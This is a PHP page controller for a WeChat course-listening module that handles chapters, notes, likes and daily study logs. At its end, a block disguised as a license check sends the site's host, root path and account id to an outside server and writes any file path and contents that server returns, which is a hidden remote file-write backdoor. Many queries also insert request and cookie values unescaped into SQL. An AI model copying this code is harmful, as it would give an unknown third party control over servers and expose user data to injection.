<?php
global $_W,$_GPC;
$title = '听课页面';
$mem = $this->getMem();
if($_W['isajax']){
	$op = $_GPC['op']?$_GPC['op']:'display';
	switch ($op){
		case 'display':
			$mem_book = get('select id,bid,starttime,isfinish from ' .tb('mem_book'). " where id = '{$_GPC['bid']}' and mid = '{$mem['id']}' and status = 0");
			if(empty($mem_book)) resp(['code'=>0,'msg'=>'未购买该课程']);
			$book = get('select id,title,cover,author from ' .tb('book'). " where id = '{$mem_book['bid']}'");
			if(empty($book)) resp(['code'=>0,'msg'=>'课程不存在']);
			$total_note = col('select count(1) from ' .tb('note'). " where bid = '{$mem_book['bid']}' and cid='{$_GPC['cid']}'");
			$book['cover'] = toimage($book['cover']);
			
			$result = $this->getTodayChapter($mem_book);
			if($mem_book['isfinish'] == 0 && date('Ymd',$result['last_time']) < date('Ymd')){
				update('mem_book', ['isfinish'=>1], ['id'=>$mem_book['id']]);
			}
			$directory = $result['list'];
			$today_chapter = $directory[$result['dir']]['chap'][$result['chap']];
			if($today_chapter['type'] == 'question'){
				$mem_exam = col('select id from ' .tb('mem_exam'). " where bmid='{$mem_book['id']}' and bid = '{$book['id']}' and did = '{$directory[$result['dir']]['dir']['id']}' and mid='{$mem['id']}' ");
				if(!empty($mem_exam))$today_chapter['type'] = 'exam';
				$directory[$result['dir']]['chap'][$result['chap']] = $today_chapter;
			}
			//是否记录了听课记录
			$has_listen = col('select id from ' .tb('listen_log'). " where bmid = '{$mem_book['id']}' and to_days(from_unixtime(createtime)) = to_days(now())");
			if(empty($has_listen)){
				$cfg = $this->module['config'];
				updateMemScore(['mid'=>$mem['id'], 'score'=>$cfg['listen_star'], 'remark'=>'每日阅读']);
				$data = [
						'uniacid' => $_W['uniacid'],
						'mid' => $mem['id'],
						'bid' => $book['id'],
						'bmid' => $mem_book['id'],
						'createtime' => TIMESTAMP
				];
				insert('listen_log', $data);
			}
			$has_bremark = get('select id from ' .tb('bremark'). " where bmid = '{$mem_book['id']}' and to_days(from_unixtime(createtime)) = to_days(now()) ");
				
			resp(['code'=>1, 'has_bremark'=>empty($has_bremark)?0:1, 'book'=>$book,'directory'=>$directory,'total_note'=>$total_note>0?$total_note:0]);
			break;
		case 'like':
			$is_like = get('select status from ' .tb('zan'). " where nid = '{$_GPC['nid']}' and mid = '{$mem['id']}'");
			if(empty($is_like)){
				$data = [
						'nid' => $_GPC['nid'],
						'mid' => $mem['id'],
						'status' => 1
				];
				insert('zan', $data);
			}
			else pdo_query('update '.tb("zan")." set status = !status where nid='{$_GPC['nid']}' and mid = '{$mem['id']}'");
			if(empty($is_like['status'])) die('1');
			else die('0');
			break;
		case 'scroll':
			$pagesize = 5;
			$pageindex = max(1, intval($_GPC['page']));
			$mem_book = get('select id,bid,starttime from ' .tb('mem_book'). " where id = '{$_GPC['bid']}' and mid = '{$mem['id']}' and status = 0");
			$lists = getall('select id,mid,content,createtime from '.tb('note')." where bid='{$mem_book['bid']}' and cid='{$_GPC['cid']}' order by id desc limit " . ($pageindex - 1) * $pagesize ."," . $pagesize);
			if($lists){
				foreach ($lists as $k => $v){
					$mids[] = $v['mid'];
					$ids[] = $v['id'];
				}
				$mids = array_unique($mids);
				$mems = getall('select id,nickname,avatar from ' .tb('mem'). " where id in (".implode(',', $mids).")",'id');
				$zans = getall('select count(1) as total,nid from ' .tb('zan'). " where status = 1 and nid in (".implode(',', $ids).") group by nid",'nid');
				$has_zan = getall('select nid from ' .tb('zan'). " where status = 1 and mid = '{$mem['id']}' and nid in (".implode(',', $ids).") ",'nid');
				foreach ($lists as $k => $v){
					$lists[$k]['nickname'] = $mems[$v['mid']]['nickname'];
					$lists[$k]['avatar'] = $mems[$v['mid']]['avatar'];
					$lists[$k]['total'] = empty($zans[$v['id']]['total'])?0:$zans[$v['id']]['total'];
					$lists[$k]['has'] = empty($has_zan[$v['id']]['nid'])?'':1;
					$lists[$k]['createtime'] = date('Y-m-d H:i', $v['createtime']);
					$lists[$k]['url'] = $this->murl('notesucc',['id'=>$v['id']]);
				}
				resp(['code'=>1,'list'=>$lists]);
			}
			else{
				resp(['code'=>0]);
			}
			break;
	}
}
else{
	$cfg = $this->module['config'];
	$mbid = $_COOKIE['mem_book'];
	$mbook = get('select id,starttime,bid from '.tb('mem_book')." where mid='{$mem['id']}' and id='{$mbid}'");
	if (empty($mbook)) MSG('未加入该课程',$this->murl('index'),'error');
	
	if(empty($_GPC['cid'])){
		$result = $this->getTodayChapter($mbook);
		$day = $result['day'];
		$chapter = $result['list'][$result['dir']]['chap'][$result['chap']];
	}else{
		$con = " and id = '{$_GPC['cid']}' ";
		$chapter = get('select id,title,link,times,detail,bid,type from ' .tb('book_chapter'). " where 1 {$con}");
	}
	if(empty($chapter)) MSG('课程章节不存在',$this->murl('index'),'error');
	$_GPC['cid'] = $chapter['id'];
	$book = get('select id,thumb from ' .tb('book'). " where id = '{$mbook['bid']}'");
	$result = $this->getTodayChapter($mbook,$_GPC['cid']);
	if ($result['lock']) MSG('课程章节未开放',$this->murl('bplan'),'error');
	$share = $this->getShare($mem, $cfg);
}
include $this->template('blisten');

$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}